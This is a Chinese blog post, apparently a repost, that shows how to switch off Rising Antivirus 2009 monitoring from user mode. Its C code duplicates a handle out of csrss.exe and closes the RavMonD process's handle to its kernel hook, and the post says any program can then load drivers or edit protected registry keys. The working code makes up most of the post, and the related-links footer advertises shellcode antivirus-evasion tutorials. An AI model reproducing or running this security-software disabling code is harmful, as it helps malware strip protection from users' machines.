用户层关闭杀毒软件安全保护 只是一个小小的思路,老鸟自行飘过,呵呵 我写这个纯粹是hacker精神,如果被滥用做病毒木马一类的邋遢东东,可跟偶没关系哦。 原理very简单,我发现瑞星监控主要在RavMonD进程中,如果打破其与内核的联系, 则 瑞星监控功能就无法正常工作了,怎么打破联系呢?如果是进内核的话当然有很多的办法, 从而没有挑战性了 ,况且RavMonD会阻止用户进程去加载驱动或者动注册表的关键地方, 比如run子键 。下面上测试代码: if(!SetDebugPrivilege(true)) 中的关键内容, 我测试了一下,虽然第一次修改注册表中的监控内容时瑞星还是会提示用 户是否允许修改,但是这时即使 选择否,同样可以修改成功,而且以后的修改瑞星不会再 提示了。 仍然防不住内核 中的攻击,进入ring0还是可以为所欲为。
代码:
int main(int argc,char *argv[])
{
if(argc != 4)
puts("usage ccon csrss.pid prmd.handle hooksys.handle");
else
{
int pid = atoi(argv[1]);
int hprmd = atoi(argv[2]);
int hobj = atoi(argv[3]);
puts("SetDebugPrivilege Failed!");
HANDLE hcs = OpenProcess(PROCESS_ALL_ACCESS,false,pid);
if(!hcs)
{
puts("Open Csrss.exe Failed");
PrintErr(GetLastError());
}
else //直接打开RavMonD进程会失败的,so采用迂回战术
{
HANDLE hprmd_loc;
if(!DuplicateHandle(hcs,(HANDLE)hprmd,GetCurrentProcess(),\
&hprmd_loc,PROCESS_ALL_ACCESS,false,0))
{
puts("Get hprmd_loc Failed!");
PrintErr(GetLastError());
}
else //关闭hooksys的句柄,打破其与内核的联系
{
HANDLE hobj_loc;
if(!DuplicateHandle(hprmd_loc,(HANDLE)hobj,\
GetCurrentProcess(),&hobj_loc,0,false,\
DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS))
{
puts("Get hobj_loc Failed!");
PrintErr(GetLastError());
}
else
{
if(!CloseHandle(hobj_loc))
{
puts("Close hobj_loc Failed");
}
else
puts("We Success Finally!!!");
}
}
}
}
return 0;
}
打破瑞星监控与内核的关联之后,用户进程可以任意加载驱动程序进内核或者篡改注册表
其实防守起来也很容易,瑞星只要不让我们在ring3下取到hooksys的句柄就行了,当然
我的测试环境 windows xp sp3 + 瑞星杀毒2009 21.49.14 测试成功
用户层关闭杀毒软件安全保护
精选 转载上一篇:对话框内部控件自动缩放类
下一篇:杀毒软件源代码
![](https://ucenter.51cto.com/images/noavatar_middle.gif)
提问和评论都可以,用心的回复会被更多人看到
评论
发布评论
相关文章
-
【Linux】安装杀毒软件(漏洞扫描工具)ClamAV 并配置邮件告警操作指南linux 运维 服务器 ClamAV 杀毒软件
-
杀毒软件
国外 1.卡巴斯基免费版 2.avast 3.熊猫安全 4.诺顿安全 5.F-Secure AntiVirus 杀毒引擎 6.AVG 7.Wise Care 365 8.NOD32
software 360杀毒 360安全卫士 安全卫士 -
推荐杀毒软件
卡巴斯基 卡巴斯基,英文名Kaspersky,是一款来源于俄罗斯的为用户度身定制的反病毒软件,查杀病毒性能远高于
杀毒软件 Windows 小红伞 -
python杀毒软件代码 python制作杀毒软件
目录简介环境原理加载ShellCode定位特征码 Base64编码绕过简介之前学习免杀都是使用Metasploit自带的编码进行,从未成功过。也使用过GitHub上别人提供的免杀方法,最近学习并实践发现绕过国内的杀毒软件貌似并不难,本文使用手工分析特征码,使用base64编码绕过杀毒软件静态分析。虽然使用的方法比较简单,但对实际做免杀及免杀研究还是有一定意义的。环境Windows 10
python杀毒软件代码 Python SC加载器 Python免杀 特征码绕过 360火绒Defender免杀